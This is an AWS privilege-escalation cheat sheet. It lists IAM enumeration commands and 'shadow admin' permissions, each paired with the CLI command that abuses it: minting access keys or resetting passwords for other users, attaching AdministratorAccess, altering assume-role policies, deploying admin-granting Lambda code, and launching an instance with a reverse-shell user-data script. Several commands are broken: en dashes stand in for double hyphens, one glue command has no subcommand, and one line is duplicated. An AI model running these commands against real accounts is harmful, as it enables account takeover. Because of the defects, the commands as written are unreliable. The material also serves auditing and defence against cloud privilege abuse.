AWS - Identity & Access Management

Listing IAM access Keys

aws iam list-access-keys

Listing IAM Users and Groups

aws iam list-users
aws iam list-groups

Get IAM Details

aws iam get-account-authorization-details > iam.json

Assume a Specific Role

aws sts assume-role --role-arn arn:aws:iam::${accountId}:role/${roleName} --role-session-name ${roleName}

Login with MFA

Retrieve the MFA device ARN:

aws iam list-mfa-devices

Then create the session token:

aws sts get-session-token --serial-number ${arnMFADevice} --token-code ${MFACode}

Shadow Admin

Admin equivalent permission

• AdministratorAccess

  "Action": "*"
  "Resource": "*"

• ec2:AssociateIamInstanceProfile : attach an IAM instance profile to an EC2 instance

  aws ec2 associate-iam-instance-profile --iam-instance-profile Name=admin-role --instance-id i-0123456789

• iam:CreateAccessKey : create a new access key to another IAM admin account

  aws iam create-access-key –user-name target_user

• iam:CreateLoginProfile : add a new password-based login profile, set a new password for an entity and impersonate it

  aws iam create-login-profile –user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' –no-password-reset-required

• iam:UpdateLoginProfile : reset other IAM users’ login passwords.

  aws iam update-login-profile –user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' –no-password-reset-required

• iam:AttachUserPolicy, iam:AttachGroupPolicy or iam:AttachRolePolicy : attach existing admin policy to any other entity he currently possesses

  aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
  aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
  aws iam attach-role-policy –role-name role_i_can_assume –policy-arn arn:aws:iam::aws:policy/AdministratorAccess

• iam:PutUserPolicy, iam:PutGroupPolicy or iam:PutRolePolicy : added inline policy will allow the attacker to grant additional privileges to previously compromised entities.

  aws iam put-user-policy –user-name my_username –policy-name my_inline_policy –policy-document file://path/to/administrator/policy.json

• iam:CreatePolicy : add a stealthy admin policy

• iam:AddUserToGroup : add into the admin group of the organization.

  aws iam add-user-to-group –group-name target_group –user-name my_username

• iam:UpdateAssumeRolePolicy + sts:AssumeRole : change the assuming permissions of a privileged role and then assume it with a non-privileged account.

  aws iam update-assume-role-policy –role-name role_i_can_assume –policy-document file://path/to/assume/role/policy.json

• iam:CreatePolicyVersion & iam:SetDefaultPolicyVersion : change customer-managed policies and change a non-privileged entity to be a privileged one.

  aws iam create-policy-version –policy-arn target_policy_arn –policy-document file://path/to/administrator/policy.json –set-as-default
  aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2

• lambda:UpdateFunctionCode : give an attacker access to the privileges associated with the Lambda service role that is attached to that function.

  aws lambda update-function-code –function-name target_function –zip-file fileb://my/lambda/code/zipped.zip

• glue:UpdateDevEndpoint : give an attacker access to the privileges associated with the role attached to the specific Glue development endpoint.

  aws glue –endpoint-name target_endpoint –public-key file://path/to/my/public/ssh/key.pub

• iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile : an attacker could create a new privileged instance profile and attach it to a compromised EC2 instance that he possesses.

• iam:PassRole + ec2:RunInstance : give an attacker access to the set of permissions that the instance profile/role has, which again could range from no privilege escalation to full administrator access of the AWS account.

  # add ssh key
  $ aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –key-name my_ssh_key –security-group-ids sg-123456
  # execute a reverse shell
  $ aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –user-data file://script/with/reverse/shell.sh

• iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction : give a user access to the privileges associated with any Lambda service role that exists in the account.

  aws lambda create-function –function-name my_function –runtime python3.6 –role arn_of_lambda_role –handler lambda_function.lambda_handler –code file://my/python/code.py
  aws lambda invoke –function-name my_function output.txt

  Example of code.py

  import boto3
  def lambda_handler(event, context):
      client = boto3.client('iam')
      response = client.attach_user_policy(
      UserName='my_username',
      PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
      )
      return response

• iam:PassRole + glue:CreateDevEndpoint : access to the privileges associated with any Glue service role that exists in the account.

  aws glue create-dev-endpoint –endpoint-name my_dev_endpoint –role-arn arn_of_glue_service_role –public-key file://path/to/my/public/ssh/key.pub

References

• Cloud Shadow Admin Threat 10 Permissions Protect - CyberArk